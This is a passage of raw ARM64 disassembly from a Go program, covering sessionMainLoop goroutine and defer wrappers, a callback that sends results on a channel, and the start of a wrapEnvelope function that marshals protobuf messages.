    00510084loc_510084:
    00510084bl runtime.gcWriteBarrier2
    00510088str x1, [x25]
    0051008cldr x3, [x2+24]
    00510090str x3, [x25+8]
    00510094b 0x510098
    00510098
    00510098loc_510098:
    00510098str x1, [x2+24]
    0051009cldr x0, [sp+488]
    005100a0bl runtime.newproc
    005100a4b 0x5106cc
    005100a8
    005100a8loc_5100a8:
    005100a8str xzr, [sp+752]
    005100acldr x3, [sp+320]
    005100b0ldrsb x27, [x3]
    005100b4ldr w2, [x3+16]
    005100b8str w2, [sp+80]
    005100bcldr x1, [sp+232]
    005100c0adrp x0, 0x113000
    005100c4add x0, x0, 1760
    005100c8bl runtime.mapaccess2_fast32
    005100ccstr x0, [sp+480]
    005100d0strb w1, [sp+62]
    005100d4ldr x3, [sp+480]
    005100d8ldr x3, [x3]
    005100dcstr x3, [sp+752]
    005100e0str x3, [sp+912]
    005100e4ldrb w3, [sp+62]
    005100e8strb w3, [sp+64]
    005100ecldr x3, [sp+912]
    005100f0str x3, [sp+280]
    005100f4ldrb w3, [sp+64]
    005100f8strb w3, [sp+57]
    005100fctbnz w3, 0, 0x510104
    00510100b 0x510338
    00510104
    00510104loc_510104:
    00510104add x27, sp, 824
    00510108stp xzr, xzr, [x27]
    0051010cadd x1, sp, 824
    00510110str x1, [sp+448]
    00510114ldr x1, [sp+320]
    00510118ldrsb x27, [x1]
    0051011cldr w0, [x1+16]
    00510120str w0, [sp+76]
    00510124bl runtime.convT32
    00510128str x0, [sp+440]
    0051012cldr x1, [sp+448]
    00510130ldrsb x27, [x1]
    00510134adrp x2, 0xe5000
    00510138add x2, x2, 3328
    0051013cstr x2, [x1]
    00510140adrp x27, 0x53b000
    00510144ldr w2, [x27+3056]
    00510148cbz w2, 0x510150
    0051014cb 0x510154
    00510150
    00510150loc_510150:
    00510150b 0x510168
    00510154
    00510154loc_510154:
    00510154bl runtime.gcWriteBarrier2
    00510158str x0, [x25]
    0051015cldr x5, [x1+8]
    00510160str x5, [x25+8]
    00510164b 0x510168
    00510168
    00510168loc_510168:
    00510168str x0, [x1+8]
    0051016cldr x2, [sp+448]
    00510170ldrsb x27, [x2]
    00510174b 0x510178
    00510178
    00510178loc_510178:
    00510178str x2, [sp+456]
    0051017corr x4, xzr, 1
    00510180str x4, [sp+464]
    00510184str x4, [sp+472]
    00510188adrp x0, 0x1a6000
    0051018cadd x0, x0, 2087
    00510190movz x1, 20
    00510194mov x3, x4
    00510198bl log.Printf
    0051019cldr x5, [sp+280]
    005101a0str x5, [sp+904]
    005101a4ldr x5, [sp+320]
    005101a8ldrsb x27, [x5]
    005101acldr x6, [x5+24]
    005101b0ldr x7, [x5+32]
    005101b4ldr x5, [x5+40]
    005101b8str x6, [sp+880]
    005101bcstr x7, [sp+888]
    005101c0str x5, [sp+896]
    005101c4adrp x0, 0x13b000
    005101c8add x0, x0, 736
    005101ccbl runtime.newobject
    005101d0str x0, [sp+432]
    005101d4adrp x5, 0
    005101d8add x5, x5, 2096
    005101dcstr x5, [x0]
    005101e0ldr x5, [sp+1048]
    005101e4ldr x6, [sp+432]
    005101e8ldrsb x27, [x6]
    005101ecadrp x27, 0x53b000
    005101f0ldr w7, [x27+3056]
    005101f4cbz w7, 0x5101fc
    005101f8b 0x510200
    005101fc
    005101fcloc_5101fc:
    005101fcb 0x510214
    00510200
    00510200loc_510200:
    00510200bl runtime.gcWriteBarrier2
    00510204str x5, [x25]
    00510208ldr x1, [x6+8]
    0051020cstr x1, [x25+8]
    00510210b 0x510214
    00510214
    00510214loc_510214:
    00510214str x5, [x6+8]
    00510218ldr x1, [sp+320]
    0051021cldr x2, [sp+432]
    00510220ldrsb x27, [x2]
    00510224adrp x27, 0x53b000
    00510228ldr w3, [x27+3056]
    0051022ccbz w3, 0x510234
    00510230b 0x510238
    00510234
    00510234loc_510234:
    00510234b 0x51024c
    00510238
    00510238loc_510238:
    00510238bl runtime.gcWriteBarrier2
    0051023cstr x1, [x25]
    00510240ldr x3, [x2+16]
    00510244str x3, [x25+8]
    00510248b 0x51024c
    0051024c
    0051024cloc_51024c:
    0051024cstr x1, [x2+16]
    00510250ldr x1, [sp+432]
    00510254str x1, [sp+872]
    00510258adrp x0, 0x14b000
    0051025cadd x0, x0, 3936
    00510260bl runtime.newobject
    00510264str x0, [sp+424]
    00510268adrp x1, 0
    0051026cadd x1, x1, 1936
    00510270str x1, [x0]
    00510274ldr x1, [sp+904]
    00510278ldr x2, [sp+424]
    0051027cldrsb x27, [x2]
    00510280adrp x27, 0x53b000
    00510284ldr w3, [x27+3056]
    00510288cbz w3, 0x510290
    0051028cb 0x510294
    00510290
    00510290loc_510290:
    00510290b 0x5102a8
    00510294
    00510294loc_510294:
    00510294bl runtime.gcWriteBarrier2
    00510298str x1, [x25]
    0051029cldr x3, [x2+8]
    005102a0str x3, [x25+8]
    005102a4b 0x5102a8
    005102a8
    005102a8loc_5102a8:
    005102a8str x1, [x2+8]
    005102acldr x1, [sp+880]
    005102b0ldr x2, [sp+888]
    005102b4ldr x3, [sp+896]
    005102b8ldr x4, [sp+424]
    005102bcldrsb x27, [x4]
    005102c0str x2, [x4+24]
    005102c4str x3, [x4+32]
    005102c8adrp x27, 0x53b000
    005102ccldr w2, [x27+3056]
    005102d0cbz w2, 0x5102d8
    005102d4b 0x5102dc
    005102d8
    005102d8loc_5102d8:
    005102d8b 0x5102f0
    005102dc
    005102dcloc_5102dc:
    005102dcbl runtime.gcWriteBarrier2
    005102e0str x1, [x25]
    005102e4ldr x2, [x4+16]
    005102e8str x2, [x25+8]
    005102ecb 0x5102f0
    005102f0
    005102f0loc_5102f0:
    005102f0str x1, [x4+16]
    005102f4ldr x1, [sp+872]
    005102f8ldr x2, [sp+424]
    005102fcldrsb x27, [x2]
    00510300adrp x27, 0x53b000
    00510304ldr w3, [x27+3056]
    00510308cbz w3, 0x510310
    0051030cb 0x510314
    00510310
    00510310loc_510310:
    00510310b 0x510328
    00510314
    00510314loc_510314:
    00510314bl runtime.gcWriteBarrier2
    00510318str x1, [x25]
    0051031cldr x3, [x2+40]
    00510320str x3, [x25+8]
    00510324b 0x510328
    00510328
    00510328loc_510328:
    00510328str x1, [x2+40]
    0051032cldr x0, [sp+424]
    00510330bl runtime.newproc
    00510334b 0x5106c8
    00510338
    00510338loc_510338:
    00510338str xzr, [sp+760]
    0051033cldr x3, [sp+320]
    00510340ldrsb x27, [x3]
    00510344ldr w2, [x3+16]
    00510348str w2, [sp+72]
    0051034cldr x1, [sp+224]
    00510350adrp x0, 0x113000
    00510354add x0, x0, 1888
    00510358bl runtime.mapaccess2_fast32
    0051035cstr x0, [sp+416]
    00510360strb w1, [sp+62]
    00510364ldr x3, [sp+416]
    00510368ldr x3, [x3]
    0051036cstr x3, [sp+760]
    00510370str x3, [sp+864]
    00510374ldrb w3, [sp+62]
    00510378strb w3, [sp+63]
    0051037cldr x3, [sp+864]
    00510380str x3, [sp+272]
    00510384ldrb w3, [sp+63]
    00510388strb w3, [sp+56]
    0051038ctbnz w3, 0, 0x510394
    00510390b 0x510514
    00510394
    00510394loc_510394:
    00510394add x27, sp, 824
    00510398stp xzr, xzr, [x27]
    0051039cadd x1, sp, 824
    005103a0str x1, [sp+384]
    005103a4ldr x1, [sp+320]
    005103a8ldrsb x27, [x1]
    005103acldr w0, [x1+16]
    005103b0str w0, [sp+68]
    005103b4bl runtime.convT32
    005103b8str x0, [sp+376]
    005103bcldr x1, [sp+384]
    005103c0ldrsb x27, [x1]
    005103c4adrp x2, 0xe5000
    005103c8add x2, x2, 3328
    005103ccstr x2, [x1]
    005103d0adrp x27, 0x53b000
    005103d4ldr w2, [x27+3056]
    005103d8cbz w2, 0x5103e0
    005103dcb 0x5103e4
    005103e0
    005103e0loc_5103e0:
    005103e0b 0x5103f8
    005103e4
    005103e4loc_5103e4:
    005103e4bl runtime.gcWriteBarrier2
    005103e8str x0, [x25]
    005103ecldr x5, [x1+8]
    005103f0str x5, [x25+8]
    005103f4b 0x5103f8
    005103f8
    005103f8loc_5103f8:
    005103f8str x0, [x1+8]
    005103fcldr x2, [sp+384]
    00510400ldrsb x27, [x2]
    00510404b 0x510408
    00510408
    00510408loc_510408:
    00510408str x2, [sp+392]
    0051040corr x4, xzr, 1
    00510410str x4, [sp+400]
    00510414str x4, [sp+408]
    00510418adrp x0, 0x1a6000
    0051041cadd x0, x0, 2107
    00510420movz x1, 20
    00510424mov x3, x4
    00510428bl log.Printf
    0051042cldr x5, [sp+272]
    00510430str x5, [sp+856]
    00510434ldr x5, [sp+320]
    00510438str x5, [sp+848]
    0051043cldr x5, [sp+1048]
    00510440str x5, [sp+840]
    00510444adrp x0, 0x14c000
    00510448add x0, x0, 32
    0051044cbl runtime.newobject
    00510450str x0, [sp+368]
    00510454adrp x5, 0
    00510458add x5, x5, 1808
    0051045cstr x5, [x0]
    00510460ldr x5, [sp+856]
    00510464ldr x6, [sp+368]
    00510468ldrsb x27, [x6]
    0051046cadrp x27, 0x53b000
    00510470ldr w7, [x27+3056]
    00510474cbz w7, 0x51047c
    00510478b 0x510480
    0051047c
    0051047cloc_51047c:
    0051047cb 0x510494
    00510480
    00510480loc_510480:
    00510480bl runtime.gcWriteBarrier2
    00510484str x5, [x25]
    00510488ldr x1, [x6+8]
    0051048cstr x1, [x25+8]
    00510490b 0x510494
    00510494
    00510494loc_510494:
    00510494str x5, [x6+8]
    00510498ldr x1, [sp+848]
    0051049cldr x2, [sp+368]
    005104a0ldrsb x27, [x2]
    005104a4adrp x27, 0x53b000
    005104a8ldr w3, [x27+3056]
    005104accbz w3, 0x5104b4
    005104b0b 0x5104b8
    005104b4
    005104b4loc_5104b4:
    005104b4b 0x5104cc
    005104b8
    005104b8loc_5104b8:
    005104b8bl runtime.gcWriteBarrier2
    005104bcstr x1, [x25]
    005104c0ldr x3, [x2+16]
    005104c4str x3, [x25+8]
    005104c8b 0x5104cc
    005104cc
    005104ccloc_5104cc:
    005104ccstr x1, [x2+16]
    005104d0ldr x1, [sp+840]
    005104d4ldr x2, [sp+368]
    005104d8ldrsb x27, [x2]
    005104dcadrp x27, 0x53b000
    005104e0ldr w3, [x27+3056]
    005104e4cbz w3, 0x5104ec
    005104e8b 0x5104f0
    005104ec
    005104ecloc_5104ec:
    005104ecb 0x510504
    005104f0
    005104f0loc_5104f0:
    005104f0bl runtime.gcWriteBarrier2
    005104f4str x1, [x25]
    005104f8ldr x3, [x2+24]
    005104fcstr x3, [x25+8]
    00510500b 0x510504
    00510504
    00510504loc_510504:
    00510504str x1, [x2+24]
    00510508ldr x0, [sp+368]
    0051050cbl runtime.newproc
    00510510b 0x5106c4
    00510514
    00510514loc_510514:
    00510514ldr x1, [sp+320]
    00510518ldrsb x27, [x1]
    0051051cldr w1, [x1+16]
    00510520subs wzr, w1, 96
    00510524b.eq 0x51052c
    00510528b 0x510548
    0051052c
    0051052cloc_51052c:
    0051052cstp xzr, xzr, [sp+208]
    00510530bl runtime.deferreturn
    00510534ldr x1, [sp+216]
    00510538ldr x0, [sp+208]
    0051053cldp x29, x30, [sp-8]
    00510540add sp, sp, 1040
    00510544ret x30
    00510548
    00510548loc_510548:
    00510548add x27, sp, 824
    0051054cstp xzr, xzr, [x27]
    00510550add x1, sp, 824
    00510554str x1, [sp+336]
    00510558ldr x1, [sp+320]
    0051055cldrsb x27, [x1]
    00510560ldr w0, [x1+16]
    00510564str w0, [sp+108]
    00510568bl runtime.convT32
    0051056cstr x0, [sp+1024]
    00510570ldr x1, [sp+336]
    00510574ldrsb x27, [x1]
    00510578adrp x2, 0xe5000
    0051057cadd x2, x2, 3328
    00510580str x2, [x1]
    00510584adrp x27, 0x53b000
    00510588ldr w2, [x27+3056]
    0051058ccbz w2, 0x510594
    00510590b 0x510598
    00510594
    00510594loc_510594:
    00510594b 0x5105ac
    00510598
    00510598loc_510598:
    00510598bl runtime.gcWriteBarrier2
    0051059cstr x0, [x25]
    005105a0ldr x5, [x1+8]
    005105a4str x5, [x25+8]
    005105a8b 0x5105ac
    005105ac
    005105acloc_5105ac:
    005105acstr x0, [x1+8]
    005105b0ldr x2, [sp+336]
    005105b4ldrsb x27, [x2]
    005105b8b 0x5105bc
    005105bc
    005105bcloc_5105bc:
    005105bcstr x2, [sp+344]
    005105c0orr x4, xzr, 1
    005105c4str x4, [sp+352]
    005105c8str x4, [sp+360]
    005105ccadrp x0, 0x1ad000
    005105d0add x0, x0, 2122
    005105d4orr x1, xzr, 31
    005105d8mov x3, x4
    005105dcbl log.Printf
    005105e0adrp x0, 0x174000
    005105e4add x0, x0, 2848
    005105e8bl runtime.newobject
    005105ecstr x0, [sp+1016]
    005105f0adrp x27, 0x53b000
    005105f4ldr w5, [x27+3056]
    005105f8cbz w5, 0x510600
    005105fcb 0x510604
    00510600
    00510600loc_510600:
    00510600b 0x510620
    00510604
    00510604loc_510604:
    00510604str x0, [sp+1000]
    00510608mov x1, x0
    0051060cadrp x0, 0x174000
    00510610add x0, x0, 2848
    00510614bl runtime.wbZero
    00510618ldr x0, [sp+1000]
    0051061cb 0x510620
    00510620
    00510620loc_510620:
    00510620mov x20, x0
    00510624adr x27, 16
    00510628stp x29, x27, [sp-24]
    0051062csub x29, sp, 24
    00510630bl fn_87cfc
    00510634sub x29, sp, 8
    00510638str xzr, [x0+80]
    0051063cldr x2, [sp+1016]
    00510640ldrsb x27, [x2]
    00510644ldr x3, [sp+320]
    00510648ldrsb x27, [x3]
    0051064cldr x3, [x3+8]
    00510650str x3, [x2+8]
    00510654ldr x2, [sp+1016]
    00510658ldrsb x27, [x2]
    0051065cstp xzr, xzr, [x2+32]
    00510660adrp x27, 0x53b000
    00510664ldr w3, [x27+3056]
    00510668cbz w3, 0x510670
    0051066cb 0x510674
    00510670
    00510670loc_510670:
    00510670b 0x510684
    00510674
    00510674loc_510674:
    00510674ldr x3, [x2+24]
    00510678bl runtime.gcWriteBarrier1
    0051067cstr x3, [x25]
    00510680b 0x510684
    00510684
    00510684loc_510684:
    00510684str xzr, [x2+24]
    00510688ldr x2, [sp+1016]
    0051068cldrsb x27, [x2]
    00510690orr x3, xzr, 1
    00510694strb w3, [x2+48]
    00510698ldr x2, [sp+1016]
    0051069cstr x2, [sp+784]
    005106a0ldr x2, [sp+1048]
    005106a4ldrsb x27, [x2]
    005106a8ldr x2, [x2]
    005106acstr x2, [sp+1008]
    005106b0ldr x0, [sp+1008]
    005106b4add x1, sp, 784
    005106b8bl runtime.chansend1
    005106bcb 0x5106c0
    005106c0
    005106c0loc_5106c0:
    005106c0b 0x5106c4
    005106c4
    005106c4loc_5106c4:
    005106c4b 0x5106c8
    005106c8
    005106c8loc_5106c8:
    005106c8b 0x5106cc
    005106cc
    005106ccloc_5106cc:
    005106ccb 0x5106d0
    005106d0
    005106d0loc_5106d0:
    005106d0b 0x5106d4
    005106d4
    005106d4loc_5106d4:
    005106d4b 0x5106d8
    005106d8
    005106d8loc_5106d8:
    005106d8b 0x50fbac
    005106dc
    005106dcloc_5106dc:
    005106dcstp xzr, xzr, [sp+208]
    005106e0bl runtime.deferreturn
    005106e4ldr x1, [sp+216]
    005106e8ldr x0, [sp+208]
    005106ecldp x29, x30, [sp-8]
    005106f0add sp, sp, 1040
    005106f4ret x30
    005106f8
    005106f8loc_5106f8:
    005106f8str x0, [sp+8]
    005106fcmov x3, x30
    00510700bl runtime.morestack_noctxt.abi0
    00510704ldr x0, [sp+8]
    00510708b 0x50f840
    0051070cudf 0
    0050f840
    00510710
    00510710main.sessionMainLoop.gowrap5: ; void main.sessionMainLoop.gowrap5(void)
    00510710ldr x16, [x28+16]
    00510714subs xzr, sp, x16
    00510718b.ls 0x510764
    0051071cstr x30, [sp-64]!
    00510720stur x29, [sp-8]
    00510724sub x29, sp, 8
    00510728ldr x16, [x28+32]
    0051072ccbnz x16, 0x510770
    00510730
    00510730loc_510730:
    00510730ldr x2, [x26+8]
    00510734str x2, [sp+48]
    00510738ldr x2, [x26+16]
    0051073cstr x2, [sp+40]
    00510740ldr x1, [x26+24]
    00510744str x1, [sp+32]
    00510748ldr x26, [sp+48]
    0051074cldr x2, [x26]
    00510750ldr x0, [sp+40]
    00510754blr x2
    00510758ldur x29, [sp-8]
    0051075cldr x30, [sp], 64
    00510760ret x30
    00510764
    00510764loc_510764:
    00510764mov x3, x30
    00510768bl runtime.morestack.abi0
    0051076cb 0x510710
    00510770
    00510770loc_510770:
    00510770ldr x17, [x16]
    00510774add x20, sp, 72
    00510778subs xzr, x20, x17
    0051077cb.ne 0x510730
    00510780add x20, sp, 8
    00510784str x20, [x16]
    00510788b 0x510730
    0051078cudf 0
    00510710
    00510790
    00510790main.sessionMainLoop.gowrap4: ; void main.sessionMainLoop.gowrap4(void)
    00510790ldr x16, [x28+16]
    00510794subs xzr, sp, x16
    00510798b.ls 0x5107fc
    0051079cstr x30, [sp-96]!
    005107a0stur x29, [sp-8]
    005107a4sub x29, sp, 8
    005107a8ldr x16, [x28+32]
    005107accbnz x16, 0x510808
    005107b0
    005107b0loc_5107b0:
    005107b0ldr x4, [x26+8]
    005107b4str x4, [sp+80]
    005107b8ldr x4, [x26+16]
    005107bcldr x5, [x26+24]
    005107c0ldr x6, [x26+32]
    005107c4str x4, [sp+56]
    005107c8str x5, [sp+64]
    005107ccstr x6, [sp+72]
    005107d0ldr x3, [x26+40]
    005107d4str x3, [sp+48]
    005107d8ldr x26, [sp+80]
    005107dcldr x4, [x26]
    005107e0ldr x0, [sp+56]
    005107e4ldr x1, [sp+64]
    005107e8ldr x2, [sp+72]
    005107ecblr x4
    005107f0ldur x29, [sp-8]
    005107f4ldr x30, [sp], 96
    005107f8ret x30
    005107fc
    005107fcloc_5107fc:
    005107fcmov x3, x30
    00510800bl runtime.morestack.abi0
    00510804b 0x510790
    00510808
    00510808loc_510808:
    00510808ldr x17, [x16]
    0051080cadd x20, sp, 104
    00510810subs xzr, x20, x17
    00510814b.ne 0x5107b0
    00510818add x20, sp, 8
    0051081cstr x20, [x16]
    00510820b 0x5107b0
    00510824udf 0
    00510828udf 0
    0051082cudf 0
    00510790
    00510830
    00510830main.sessionMainLoop.func1: ; void main.sessionMainLoop.func1(struct []uint8 data, error err)
    00510830ldr x16, [x28+16]
    00510834sub x17, sp, 48
    00510838subs xzr, x17, x16
    0051083cb.ls 0x510a20
    00510840str x30, [sp-176]!
    00510844stur x29, [sp-8]
    00510848sub x29, sp, 8
    0051084cstr x0, [sp+184]
    00510850str x1, [sp+192]
    00510854str x2, [sp+200]
    00510858str x3, [sp+208]
    0051085cstr x4, [sp+216]
    00510860ldr x5, [x26+8]
    00510864str x5, [sp+56]
    00510868ldr x5, [x26+16]
    0051086cstr x5, [sp+48]
    00510870ldr x5, [sp+208]
    00510874cbnz x5, 0x51087c
    00510878b 0x510930
    0051087c
    0051087cloc_51087c:
    0051087cstp xzr, xzr, [sp+144]
    00510880add x5, sp, 144
    00510884str x5, [sp+104]
    00510888ldr x5, [sp+208]
    0051088cldr x6, [sp+216]
    00510890str x5, [sp+88]
    00510894str x6, [sp+96]
    00510898str x5, [sp+80]
    0051089cldr x5, [sp+80]
    005108a0cbnz x5, 0x5108a8
    005108a4b 0x5108b8
    005108a8
    005108a8loc_5108a8:
    005108a8ldr x5, [sp+80]
    005108acldr x5, [x5+8]
    005108b0str x5, [sp+80]
    005108b4b 0x5108bc
    005108b8
    005108b8loc_5108b8:
    005108b8b 0x5108bc
    005108bc
    005108bcloc_5108bc:
    005108bcldr x5, [sp+104]
    005108c0ldrsb x27, [x5]
    005108c4ldr x6, [sp+80]
    005108c8ldr x7, [sp+96]
    005108ccstr x6, [x5]
    005108d0adrp x27, 0x53b000
    005108d4ldr w6, [x27+3056]
    005108d8cbz w6, 0x5108e0
    005108dcb 0x5108e4
    005108e0
    005108e0loc_5108e0:
    005108e0b 0x5108f8
    005108e4
    005108e4loc_5108e4:
    005108e4bl runtime.gcWriteBarrier2
    005108e8str x7, [x25]
    005108ecldr x6, [x5+8]
    005108f0str x6, [x25+8]
    005108f4b 0x5108f8
    005108f8
    005108f8loc_5108f8:
    005108f8str x7, [x5+8]
    005108fcldr x2, [sp+104]
    00510900ldrsb x27, [x2]
    00510904b 0x510908
    00510908
    00510908loc_510908:
    00510908str x2, [sp+112]
    0051090corr x4, xzr, 1
    00510910str x4, [sp+120]
    00510914str x4, [sp+128]
    00510918adrp x0, 0x1b8000
    0051091cadd x0, x0, 1029
    00510920orr x1, xzr, 48
    00510924mov x3, x4
    00510928bl log.Printf
    0051092cb 0x510934
    00510930
    00510930loc_510930:
    00510930b 0x510934
    00510934
    00510934loc_510934:
    00510934adrp x0, 0x174000
    00510938add x0, x0, 2848
    0051093cbl runtime.newobject
    00510940str x0, [sp+72]
    00510944adrp x27, 0x53b000
    00510948ldr w1, [x27+3056]
    0051094ccbz w1, 0x510954
    00510950b 0x510958
    00510954
    00510954loc_510954:
    00510954b 0x510974
    00510958
    00510958loc_510958:
    00510958str x0, [sp+160]
    0051095cmov x1, x0
    00510960adrp x0, 0x174000
    00510964add x0, x0, 2848
    00510968bl runtime.wbZero
    0051096cldr x0, [sp+160]
    00510970b 0x510974
    00510974
    00510974loc_510974:
    00510974mov x20, x0
    00510978adr x27, 16
    0051097cstp x29, x27, [sp-24]
    00510980sub x29, sp, 24
    00510984bl fn_87cfc
    00510988sub x29, sp, 8
    0051098cstr xzr, [x0+80]
    00510990ldr x2, [sp+72]
    00510994ldrsb x27, [x2]
    00510998ldr x3, [sp+48]
    0051099cldrsb x27, [x3]
    005109a0ldr x3, [x3+8]
    005109a4str x3, [x2+8]
    005109a8ldr x2, [sp+72]
    005109acldrsb x27, [x2]
    005109b0ldr x3, [sp+184]
    005109b4ldr x4, [sp+192]
    005109b8ldr x5, [sp+200]
    005109bcstr x4, [x2+32]
    005109c0str x5, [x2+40]
    005109c4adrp x27, 0x53b000
    005109c8ldr w4, [x27+3056]
    005109cccbz w4, 0x5109d4
    005109d0b 0x5109d8
    005109d4
    005109d4loc_5109d4:
    005109d4b 0x5109ec
    005109d8
    005109d8loc_5109d8:
    005109d8bl runtime.gcWriteBarrier2
    005109dcstr x3, [x25]
    005109e0ldr x4, [x2+24]
    005109e4str x4, [x25+8]
    005109e8b 0x5109ec
    005109ec
    005109ecloc_5109ec:
    005109ecstr x3, [x2+24]
    005109f0ldr x2, [sp+72]
    005109f4str x2, [sp+136]
    005109f8ldr x2, [sp+56]
    005109fcldrsb x27, [x2]
    00510a00ldr x2, [x2]
    00510a04str x2, [sp+64]
    00510a08ldr x0, [sp+64]
    00510a0cadd x1, sp, 136
    00510a10bl runtime.chansend1
    00510a14ldur x29, [sp-8]
    00510a18ldr x30, [sp], 176
    00510a1cret x30
    00510a20
    00510a20loc_510a20:
    00510a20stp x0, x1, [sp+8]
    00510a24stp x2, x3, [sp+24]
    00510a28str x4, [sp+40]
    00510a2cmov x3, x30
    00510a30bl runtime.morestack.abi0
    00510a34ldp x0, x1, [sp+8]
    00510a38ldp x2, x3, [sp+24]
    00510a3cldr x4, [sp+40]
    00510a40b 0x510830
    00510a44udf 0
    00510a48udf 0
    00510a4cudf 0
    00510830
    00510a50
    00510a50main.sessionMainLoop.gowrap3: ; void main.sessionMainLoop.gowrap3(void)
    00510a50ldr x16, [x28+16]
    00510a54subs xzr, sp, x16
    00510a58b.ls 0x510aa4
    00510a5cstr x30, [sp-64]!
    00510a60stur x29, [sp-8]
    00510a64sub x29, sp, 8
    00510a68ldr x16, [x28+32]
    00510a6ccbnz x16, 0x510ab0
    00510a70
    00510a70loc_510a70:
    00510a70ldr x2, [x26+8]
    00510a74str x2, [sp+48]
    00510a78ldr x2, [x26+16]
    00510a7cstr x2, [sp+40]
    00510a80ldr x1, [x26+24]
    00510a84str x1, [sp+32]
    00510a88ldr x26, [sp+48]
    00510a8cldr x2, [x26]
    00510a90ldr x0, [sp+40]
    00510a94blr x2
    00510a98ldur x29, [sp-8]
    00510a9cldr x30, [sp], 64
    00510aa0ret x30
    00510aa4
    00510aa4loc_510aa4:
    00510aa4mov x3, x30
    00510aa8bl runtime.morestack.abi0
    00510aacb 0x510a50
    00510ab0
    00510ab0loc_510ab0:
    00510ab0ldr x17, [x16]
    00510ab4add x20, sp, 72
    00510ab8subs xzr, x20, x17
    00510abcb.ne 0x510a70
    00510ac0add x20, sp, 8
    00510ac4str x20, [x16]
    00510ac8b 0x510a70
    00510accudf 0
    00510a50
    00510ad0
    00510ad0main.sessionMainLoop.gowrap2: ; void main.sessionMainLoop.gowrap2(void)
    00510ad0ldr x16, [x28+16]
    00510ad4subs xzr, sp, x16
    00510ad8b.ls 0x510b24
    00510adcstr x30, [sp-64]!
    00510ae0stur x29, [sp-8]
    00510ae4sub x29, sp, 8
    00510ae8ldr x16, [x28+32]
    00510aeccbnz x16, 0x510b30
    00510af0
    00510af0loc_510af0:
    00510af0ldr x2, [x26+8]
    00510af4str x2, [sp+48]
    00510af8ldr x2, [x26+16]
    00510afcstr x2, [sp+40]
    00510b00ldr x1, [x26+24]
    00510b04str x1, [sp+32]
    00510b08ldr x26, [sp+48]
    00510b0cldr x2, [x26]
    00510b10ldr x0, [sp+40]
    00510b14blr x2
    00510b18ldur x29, [sp-8]
    00510b1cldr x30, [sp], 64
    00510b20ret x30
    00510b24
    00510b24loc_510b24:
    00510b24mov x3, x30
    00510b28bl runtime.morestack.abi0
    00510b2cb 0x510ad0
    00510b30
    00510b30loc_510b30:
    00510b30ldr x17, [x16]
    00510b34add x20, sp, 72
    00510b38subs xzr, x20, x17
    00510b3cb.ne 0x510af0
    00510b40add x20, sp, 8
    00510b44str x20, [x16]
    00510b48b 0x510af0
    00510b4cudf 0
    00510ad0
    00510b50
    00510b50main.sessionMainLoop.deferwrap1: ; void main.sessionMainLoop.deferwrap1(void)
    00510b50ldr x16, [x28+16]
    00510b54subs xzr, sp, x16
    00510b58b.ls 0x510b8c
    00510b5cstr x30, [sp-32]!
    00510b60stur x29, [sp-8]
    00510b64sub x29, sp, 8
    00510b68ldr x16, [x28+32]
    00510b6ccbnz x16, 0x510b98
    00510b70
    00510b70loc_510b70:
    00510b70ldr x26, [x26+8]
    00510b74str x26, [sp+16]
    00510b78ldr x0, [x26]
    00510b7cblr x0
    00510b80ldur x29, [sp-8]
    00510b84ldr x30, [sp], 32
    00510b88ret x30
    00510b8c
    00510b8cloc_510b8c:
    00510b8cmov x3, x30
    00510b90bl runtime.morestack.abi0
    00510b94b 0x510b50
    00510b98
    00510b98loc_510b98:
    00510b98ldr x17, [x16]
    00510b9cadd x20, sp, 40
    00510ba0subs xzr, x20, x17
    00510ba4b.ne 0x510b70
    00510ba8add x20, sp, 8
    00510bacstr x20, [x16]
    00510bb0b 0x510b70
    00510bb4udf 0
    00510bb8udf 0
    00510bbcudf 0
    00510b50
    00510bc0
    00510bc0main.wrapEnvelope: ; void main.wrapEnvelope(uint32 msgType, google.golang.org/protobuf/reflect/protoreflect.ProtoMessage message)
    00510bc0ldr x16, [x28+16]
    00510bc4sub x17, sp, 144
    00510bc8subs xzr, x17, x16
    00510bccb.ls 0x510e00
    00510bd0sub x20, sp, 272
    00510bd4stp x29, x30, [x20-8]
    00510bd8add sp, x20, 0
    00510bdcsub x29, sp, 8
    00510be0str w0, [sp+280]
    00510be4str x1, [sp+288]
    00510be8str x2, [sp+296]
    00510becstr xzr, [sp+48]
    00510bf0str xzr, [sp+128]
    00510bf4stp xzr, xzr, [sp+136]
    00510bf8stp xzr, xzr, [sp+112]
    00510bfcldr x0, [sp+288]
    00510c00ldr x1, [sp+296]
    00510c04bl google.golang.org/protobuf/proto.Marshal
    00510c08str x0, [sp+128]
    00510c0cstr x1, [sp+136]
    00510c10str x2, [sp+144]
    00510c14str x3, [sp+112]
    00510c18str x4, [sp+120]
    00510c1cldr x2, [sp+136]
    00510c20ldr x3, [sp+144]
    00510c24ldr x4, [sp+128]
    00510c28str x4, [sp+168]
    00510c2cstr x2, [sp+176]
    00510c30str x3, [sp+184]
    00510c34ldr x2, [sp+112]
    00510c38ldr x3, [sp+120]
    00510c3cstr x2, [sp+152]
    00510c40str x3, [sp+160]
    00510c44ldr x2, [sp+168]
    00510c48ldr x3, [sp+176]
    00510c4cldr x4, [sp+184]
    00510c50str x2, [sp+72]
    00510c54str x3, [sp+80]
    00510c58str x4, [sp+88]
    00510c5cldr x2, [sp+160]
    00510c60ldr x3, [sp+152]
    00510c64str x3, [sp+56]
    00510c68str x2, [sp+64]
    00510c6ccbnz x3, 0x510c74
    00510c70b 0x510d38
    00510c74
    00510c74loc_510c74:
    00510c74stp xzr, xzr, [sp+96]
    00510c78add x5, sp, 96
    00510c7cstr x5, [sp+232]
    00510c80ldr x5, [sp+56]
    00510c84ldr x6, [sp+64]
    00510c88str x5, [sp+216]
    00510c8cstr x6, [sp+224]
    00510c90str x5, [sp+208]
    00510c94ldr x5, [sp+208]
    00510c98cbnz x5, 0x510ca0
    00510c9cb 0x510cb0
    00510ca0
    00510ca0loc_510ca0:
    00510ca0ldr x5, [sp+208]
    00510ca4ldr x5, [x5+8]
    00510ca8str x5, [sp+208]
    00510cacb 0x510cb4
    00510cb0
    00510cb0loc_510cb0:
    00510cb0b 0x510cb4
    00510cb4
    00510cb4loc_510cb4:
    00510cb4ldr x5, [sp+232]
    00510cb8ldrsb x27, [x5]
    00510cbcldr x6, [sp+208]
    00510cc0ldr x7, [sp+224]
    00510cc4str x6, [x5]
    00510cc8adrp x27, 0x53b000
    00510cccldr w6, [x27+3056]
    00510cd0cbz w6, 0x510cd8
    00510cd4b 0x510cdc
    00510cd8
    00510cd8loc_510cd8:
    00510cd8b 0x510cf0
    00510cdc
    00510cdcloc_510cdc:
    00510cdcbl runtime.gcWriteBarrier2
    00510ce0str x7, [x25]
